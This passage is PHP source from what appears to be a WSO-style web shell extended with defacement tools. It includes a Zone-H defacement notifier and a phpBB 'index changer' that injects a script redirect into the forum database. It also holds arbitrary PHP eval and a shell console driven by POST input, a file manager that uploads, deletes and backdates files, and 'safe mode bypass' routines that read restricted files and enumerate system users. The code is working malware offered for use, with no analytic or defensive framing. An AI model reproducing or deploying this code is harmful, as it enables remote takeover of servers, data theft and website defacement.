    if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');} 
    $hacker = $_POST['defacer']; 
    $method = $_POST['hackmode']; 
    $neden = $_POST['reason']; 
    $site = $_POST['domain']; 
    if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");} 
    elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");} 
    elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");} 
    elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");} 
    $i = 0; 
    $sites = explode("
", $site); 
    while($i < count($sites)) 
    { 
        if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];} 
        ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]); 
        echo "Site : ".$sites[$i]." Defaced !
"; 
        ++$i; 
    } 
    echo "[+] Sending Sites To Zone-H.org Has Been Completed Successfully ! ! "; 
    echo '</center>'; 
} 
wsoFooter();  
} 
######################### phpbb defacer ########################### 
function actionphpbb() { 
wsoHeader(); 
echo'<center><h1> PHPBB index Changer </h1> 
<form method = "POST"> 
<table border = "1" width="443" height="316" style="text-align: center" align="center"> 
<tr> 
<td height="105" width="780"> 
<p align="center"><b>Host : </b>  
<input type="text" name="f5" size="20" value="localhost">&nbsp;<b>  
DataBase&nbsp;:</b> <input type ="text" name = "f6" size="20"></p> 
<p align="center">&nbsp;<b>User :</b> <input type ="text" name = "f7" size="20"> 
<b>&nbsp;Password :</b>&nbsp; <input type ="text" name = "f8" size="20"><p align="center"> 
<b>Table Prefix:</b><br> 
<input type ="text" name = "f9" size="20" value="phpbb_forums"></td> 
</tr> 
<tr> 
<td height="167" width="780"><p align="center">&nbsp;<textarea name="index2" cols=50 rows=10> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI 
 </textarea><p align="center"><input type="hidden" name="a" value="phpbb"><input type = "submit" value = "Deface !">&nbsp;&nbsp;&nbsp;&nbsp; 
<input type = "reset" value = "Clear"></td> 
</tr> 
</tr>', 
$localhost2 = $_POST['f5']; 
$database2  = $_POST['f6']; 
$username2  = $_POST['f7']; 
$password2  = $_POST['f8']; 
$index2     = $_POST['index2']; 
$phpbb = $_POST['f9']; 
if($database2=$_POST['f6']){ 
$con2 =@ mysql_connect($localhost2,$username2,$password2) or die; 
$db2 =@ mysql_select_db($database2,$con2) or die; 
$query2 = "UPDATE $phpbb SET forum_name = '<script>location.href=\"$index2\"</script>'" or die; 
$result2 =@ mysql_query($query2,$con2); 
if($result2){ 
echo "<p align='center'> 
<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>"; 
} 
else { 
echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>"; 
} 
} 
//Greetz to FoX HACKER 
//Coded by Mr.511 
//[email protected] 
wsoFooter();} 
########################################################## 
function actionPhp() { 
    if(isset($_POST['ajax'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true; 
        ob_start(); 
        eval($_POST['p1']); 
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { 
        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; 
        ob_start(); 
        phpinfo(); 
        $tmp = ob_get_clean(); 
        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); 
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); 
        echo str_replace('<h1','<h2', $tmp) .'</div><br>'; 
    } 
    if(empty($_POST['ajax']) && !empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false; 
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Exec style="margin-top:5px">'; 
    echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; 
    if(!empty($_POST['p1'])) { 
        ob_start(); 
        eval($_POST['p1']); 
        echo htmlspecialchars(ob_get_clean()); 
    } 
    echo '</pre></div>'; 
    wsoFooter(); 
} 
function actionFilesMan() { 
    wsoHeader(); 
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; 
    if(!empty($_POST['p1'])) { 
        switch($_POST['p1']) { 
            case 'uploadFile': 
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) 
                    echo "Can't upload file!"; 
                break; 
            case 'mkdir': 
                if(!@mkdir($_POST['p2'])) 
                    echo "Can't create new dir"; 
                break; 
            case 'delete': 
                function deleteDir($path) { 
                    $path = (substr($path,-1)=='/') ? $path:$path.'/'; 
                    $dh  = opendir($path); 
                    while ( ($item = readdir($dh) ) !== false) { 
                        $item = $path.$item; 
                        if ( (basename($item) == "..") || (basename($item) == ".") ) 
                            continue; 
                        $type = filetype($item); 
                        if ($type == "dir") 
                            deleteDir($item); 
                        else 
                            @unlink($item); 
                    } 
                    closedir($dh); 
                    @rmdir($path); 
                } 
                if(is_array(@$_POST['f'])) 
                    foreach($_POST['f'] as $f) { 
                        if($f == '..') 
                            continue; 
                        $f = urldecode($f); 
                        if(is_dir($f)) 
                            deleteDir($f); 
                        else 
                            @unlink($f); 
                    } 
                break; 
            case 'paste': 
                if($_SESSION['act'] == 'copy') { 
                    function copy_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                        } elseif(is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']); 
                } elseif($_SESSION['act'] == 'move') { 
                    function move_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                        } elseif(@is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f); 
                } elseif($_SESSION['act'] == 'zip') { 
                    if(class_exists('ZipArchive')) { 
                        $zip = new ZipArchive(); 
                        if ($zip->open($_POST['p2'], 1)) { 
                            chdir($_SESSION['c']); 
                            foreach($_SESSION['f'] as $f) { 
                                if($f == '..') 
                                    continue; 
                                if(@is_file($_SESSION['c'].$f)) 
                                    $zip->addFile($_SESSION['c'].$f, $f); 
                                elseif(@is_dir($_SESSION['c'].$f)) { 
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); 
                                    foreach ($iterator as $key=>$value) { 
                                        $zip->addFile(realpath($key), $key); 
                                    } 
                                } 
                            } 
                            chdir($GLOBALS['cwd']); 
                            $zip->close(); 
                        } 
                    } 
                } elseif($_SESSION['act'] == 'unzip') { 
                    if(class_exists('ZipArchive')) { 
                        $zip = new ZipArchive(); 
                        foreach($_SESSION['f'] as $f) { 
                            if($zip->open($_SESSION['c'].$f)) { 
                                $zip->extractTo($GLOBALS['cwd']); 
                                $zip->close(); 
                            } 
                        } 
                    } 
                } elseif($_SESSION['act'] == 'tar') { 
                    chdir($_SESSION['c']); 
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']); 
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f'])); 
                    chdir($GLOBALS['cwd']); 
                } 
                unset($_SESSION['f']); 
                break; 
            default: 
                if(!empty($_POST['p1'])) { 
                    $_SESSION['act'] = @$_POST['p1']; 
                    $_SESSION['f'] = @$_POST['f']; 
                    foreach($_SESSION['f'] as $k => $f) 
                        $_SESSION['f'][$k] = urldecode($f); 
                    $_SESSION['c'] = @$_POST['c']; 
                } 
                break; 
        } 
    } 
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); 
    if($dirContent === false) {    echo 'Can\'t open this folder!';wsoFooter(); return; } 
    global $sort; 
    $sort = array('name', 1); 
    if(!empty($_POST['p1'])) { 
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) 
            $sort = array($match[1], (int)$match[2]); 
    } 
echo "<script> 
    function sa() { 
        for(i=0;i<d.files.elements.length;i++) 
            if(d.files.elements[i].type == 'checkbox') 
                d.files.elements[i].checked = d.files.elements[0].checked; 
    } 
</script> 
<table width='100%' class='main' cellspacing='0' cellpadding='2'> 
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; 
$dirs = $files = array(); 
    $n = count($dirContent); 
    for($i=0;$i<$n;$i++) { 
        $ow = @posix_getpwuid(@fileowner($dirContent[$i])); 
        $gr = @posix_getgrgid(@filegroup($dirContent[$i])); 
        $tmp = array('name' => $dirContent[$i], 
                     'path' => $GLOBALS['cwd'].$dirContent[$i], 
                     'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 
                     'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) 
                    ); 
        if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) 
            $files[] = array_merge($tmp, array('type' => 'file')); 
        elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) 
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); 
        elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) 
            $dirs[] = array_merge($tmp, array('type' => 'dir')); 
    } 
    $GLOBALS['sort'] = $sort; 
    function wsoCmp($a, $b) { 
        if($GLOBALS['sort'][0] != 'size') 
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); 
        else 
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); 
    } 
    usort($files, "wsoCmp"); 
    usort($dirs, "wsoCmp"); 
    $files = array_merge($dirs, $files); 
    $l = 0; 
    foreach($files as $f) { 
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] 
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; 
        $l = $l?0:1; 
    } 
    echo "<tr><td colspan=7> 

    <input type=hidden name=a value='FilesMan'> 
    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> 
    <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> 
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; 
    if(class_exists('ZipArchive')) 
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; 
    echo "<option value='tar'>Compress (tar.gz)</option>"; 
    if(!empty($_SESSION['act']) && @count($_SESSION['f'])) 
        echo "<option value='paste'>Paste / Compress</option>"; 
    echo "</select>&nbsp;"; 
    if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) 
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; 
    echo "<input type='submit' value='>>'></td></tr></form></table></div>"; 
    wsoFooter(); 
} 
########################## String ############################## 
function actionStringTools() { 
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} 
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} 
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} 
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} 
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} 
    $stringTools = array( 
        'Base64 encode' => 'base64_encode', 
        'Base64 decode' => 'base64_decode', 
        'Url encode' => 'urlencode', 
        'Url decode' => 'urldecode', 
        'Full urlencode' => 'full_urlencode', 
        'md5 hash' => 'md5', 
        'sha1 hash' => 'sha1', 
        'crypt' => 'crypt', 
        'CRC32' => 'crc32', 
        'ASCII to HEX' => 'ascii2hex', 
        'HEX to ASCII' => 'hex2ascii', 
        'HEX to DEC' => 'hexdec', 
        'HEX to BIN' => 'hex2bin', 
        'DEC to HEX' => 'dechex', 
        'DEC to BIN' => 'decbin', 
        'BIN to HEX' => 'binhex', 
        'BIN to DEC' => 'bindec', 
        'String to lower case' => 'strtolower', 
        'String to upper case' => 'strtoupper', 
        'Htmlspecialchars' => 'htmlspecialchars', 
        'String length' => 'strlen', 
    ); 
    if(isset($_POST['ajax'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; 
        ob_start(); 
        if(in_array($_POST['p1'], $stringTools)) 
            echo $_POST['p1']($_POST['p2']); 
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    echo '<h1>String conversions</h1><div class=content>'; 
    if(empty($_POST['ajax'])&&!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; 
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; 
    foreach($stringTools as $k => $v) 
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; 
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; 
    if(!empty($_POST['p1'])) { 
        if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); 
    } 
    function wsoRecursiveGlob($path) { 
        if(substr($path, -1) != '/') 
            $path.='/'; 
        $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); 
        if(is_array($paths)&&@count($paths)) { 
            foreach($paths as $item) { 
                if(@is_dir($item)){ 
                    if($path!=$item) 
                        wsoRecursiveGlob($item); 
                } else { 
                    if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false) 
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>"; 
                } 
            } 
        } 
    } 
    if(@$_POST['p3']) 
        wsoRecursiveGlob($_POST['c']); 
    echo "</div><br><h1>Best Hash Search Engine :</h1><div class=content> 

        <form method='post' target='_blank' name='hf'> 
            <input type='text' name='hash' style='width:200px;'><br> 
            <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> 
            <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br> 
            <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> 
            <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> 
        </form></div>"; 
    wsoFooter(); 
} 

function actionFilesTools() { 
    if( isset($_POST['p1']) ) 
        $_POST['p1'] = urldecode($_POST['p1']); 
    if(@$_POST['p2']=='download') { 
        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); 
            if (function_exists("mime_content_type")) { 
                $type = @mime_content_type($_POST['p1']); 
                header("Content-Type: " . $type); 
            } else 
                header("Content-Type: application/octet-stream"); 
            $fp = @fopen($_POST['p1'], "r"); 
            if($fp) { 
                while(!@feof($fp)) 
                    echo @fread($fp, 1024); 
                fclose($fp); 
            } 
        }exit; 
    } 
    if( @$_POST['p2'] == 'mkfile' ) { 
        if(!file_exists($_POST['p1'])) { 
            $fp = @fopen($_POST['p1'], 'w'); 
            if($fp) { 
                $_POST['p2'] = "edit"; 
                fclose($fp); 
            } 
        } 
    } 
    wsoHeader(); 
    echo '<h1>File Tools</h1><div class=content>'; 
    if( !file_exists(@$_POST['p1']) ) { 
        echo 'File not exists'; 
        wsoFooter(); 
        return; 
    } 
    $uid = @posix_getpwuid(@fileowner($_POST['p1'])); 
    if(!$uid) { 
        $uid['name'] = @fileowner($_POST['p1']); 
        $gid['name'] = @filegroup($_POST['p1']); 
    } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); 
    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; 
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; 
    if( empty($_POST['p2']) ) 
        $_POST['p2'] = 'view'; 
    if( is_file($_POST['p1']) ) 
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); 
    else 
        $m = array('Chmod', 'Rename', 'Touch'); 
    foreach($m as $v) 
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; 
    echo '<br><br>'; 
    switch($_POST['p2']) { 
        case 'view': 
            echo '<pre class=ml1>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</pre>'; 
            break; 
        case 'highlight': 
            if( @is_readable($_POST['p1']) ) { 
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; 
                $code = @highlight_file($_POST['p1'],true); 
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; 
            } 
            break; 
        case 'chmod': 
            if( !empty($_POST['p3']) ) { 
                $perms = 0; 
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i) 
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); 
                if(!@chmod($_POST['p1'], $perms)) 
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; 
            } 
            clearstatcache(); 
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'edit': 
            if( !is_writable($_POST['p1'])) { 
                echo 'File isn\'t writeable'; 
                break; 
            } 
            if( !empty($_POST['p3']) ) { 
                $time = @filemtime($_POST['p1']); 
                $_POST['p3'] = substr($_POST['p3'],1); 
                $fp = @fopen($_POST['p1'],"w"); 
                if($fp) { 
                    @fwrite($fp,$_POST['p3']); 
                    @fclose($fp); 
                    echo 'Saved!<br><script>p3_="";</script>'; 
                    @touch($_POST['p1'],$time,$time); 
                } 
            } 
            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</textarea><input type=submit value=">>"></form>'; 
            break; 
        case 'hexdump': 
            $c = @file_get_contents($_POST['p1']); 
            $n = 0; 
            $h = array('00000000<br>','',''); 
            $len = strlen($c); 
            for ($i=0; $i<$len; ++$i) { 
                $h[1] .= sprintf('%02X',ord($c[$i])).' '; 
                switch ( ord($c[$i]) ) { 
                    case 0:  $h[2] .= ' '; break; 
                    case 9:  $h[2] .= ' '; break; 
                    case 10: $h[2] .= ' '; break; 
                    case 13: $h[2] .= ' '; break; 
                    default: $h[2] .= $c[$i]; break; 
                } 
                $n++; 
                if ($n == 32) { 
                    $n = 0; 
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} 
                    $h[1] .= '<br>'; 
                    $h[2] .= "
"; 
                } 
             } 
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; 
            break; 
        case 'rename': 
            if( !empty($_POST['p3']) ) { 
                if(!@rename($_POST['p1'], $_POST['p3'])) 
                    echo 'Can\'t rename!<br>'; 
                else 
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); 
            } 
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'touch': 
            if( !empty($_POST['p3']) ) { 
                $time = strtotime($_POST['p3']); 
                if($time) { 
                    if(!touch($_POST['p1'],$time,$time)) 
                        echo 'Fail!'; 
                    else 
                        echo 'Touched!'; 
                } else echo 'Bad time format!'; 
            } 
            clearstatcache(); 
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; 
            break; 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 

function actionSafeMode() { 
    $temp=''; 
    ob_start(); 
    switch($_POST['p1']) { 
        case 1: 
            $temp=@tempnam($test, 'cx'); 
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){ 
                echo @file_get_contents($temp); 
                unlink($temp); 
            } else 
                echo 'Sorry... Can\'t open file'; 
            break; 
        case 2: 
            $files = glob($_POST['p2'].'*'); 
            if( is_array($files) ) 
                foreach ($files as $filename) 
                    echo $filename."
"; 
            break; 
        case 3: 
            $ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__)); 
            curl_exec($ch); 
            break; 
        case 4: 
            ini_restore("safe_mode"); 
            ini_restore("open_basedir"); 
            include($_POST['p2']); 
            break; 
        case 5: 
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { 
                $uid = @posix_getpwuid($_POST['p2']); 
                if ($uid) 
                    echo join(':',$uid)."
"; 
            } 
            break; 
    } 
    $temp = ob_get_clean(); 
    wsoHeader(); 
    echo '<h1>Safe mode bypass</h1><div class=content>'; 
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; 
    if($temp) 
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>'; 
    echo '</div>'; 
    wsoFooter(); 
} 



function actionConsole() { 
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true; 
        $_POST['p1'] .= ' 2>&1'; 
    } elseif(!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false; 

    if(isset($_POST['ajax'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; 
        ob_start(); 
        echo "d.cf.cmd.value='';
"; 
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'")); 
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    { 
            if(@chdir($match[1])) { 
                $GLOBALS['cwd'] = @getcwd(); 
                echo "c_='".$GLOBALS['cwd']."';"; 
            } 
        } 
        echo "d.cf.output.value+='".$temp."';"; 
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; 
        $temp = ob_get_clean(); 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    echo "<script> 
if(window.Event) window.captureEvents(Event.KEYDOWN); 
var cmds = new Array(''); 
var cur = 0; 
function kp(e) { 
    var n = (window.Event) ? e.which : e.keyCode; 
    if(n == 38) { 
        cur--; 
        if(cur>=0) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur++; 
    } else if(n == 40) { 
        cur++; 
        if(cur < cmds.length) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur--; 
    } 
} 
function add(cmd) { 
    cmds.pop(); 
    cmds.push(cmd); 
    cmds.push(''); 
    cur = cmds.length-1; 
} 

</script>"; 
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; 
    foreach($GLOBALS['aliases'] as $n => $v) { 
        if($v == '') { 
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; 
            continue; 
        } 
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; 
    } 
    if(empty($_POST['ajax'])&&!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; 
